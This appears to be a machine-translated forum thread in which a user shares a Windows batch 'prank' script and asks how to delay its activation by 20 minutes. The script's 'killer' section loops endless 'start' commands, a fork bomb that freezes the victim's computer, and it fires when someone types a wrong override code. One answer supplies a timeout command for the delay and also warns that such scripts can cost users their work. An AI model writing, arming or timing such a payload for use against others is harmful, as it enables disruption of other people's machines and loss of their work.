2016-02-10 48 views
-8

我目前正在使用批處理並製作惡作劇(強制關閉計算機)和覆蓋部分,以便讓我重新獲得所有編碼,所以我希望對方有錯誤的代碼讓我的惡作劇在20分鐘內激活我想就如何做的建議?如何批量添加計時器

:system 
cls 
set /p assurance=are you sure you want to do this (I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE BY THIS COMMAND IF YOU ACCEPT TO MOVE ON.I WARN YOU THE ONLY WAY TO STOP THIS COMMAND IS RESTART YOUR PC.) 

echo -accept and move on 
echo or 
echo -stop this command 
pause 
if %assurance%==accept and move on goto initiate 
if %assurance%==stop this command goto home 
:wrong 
cls 
echo you have 20 minutes 
:initiate 
cls 
echo KILL CODE ACTIVATED ACTIVATED HAVE FUN!!! 
:killer 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
start 
goto killer 


:override 
cls 
echo i need the override code to activate this command. 
set /p code=code: 

if %code%==42 is the answer to life but my answer is 2029 goto right 
if not %code%==42 is the answer to life but my answer is 2029 goto wrong 

:right 
+0

我不認爲CPU會用這樣的代碼工作20分鐘。 – SachaDee

+0

哦,那麼我們;;我會添加另一個代碼或somthing感謝:D –

回答

2

使用timeout

timeout /t 1200 :: Waits twenty minutes. 

順便說一句,你不應該寫這樣的腳本。它們並不好笑,可能會導致運行它們的計算機的當前用戶失去工作或更糟。

+0

非常幫忙 –

+0

@JacobGh如果這個答案對您有幫助,請點擊勾選標記爲已接受。 – Ellis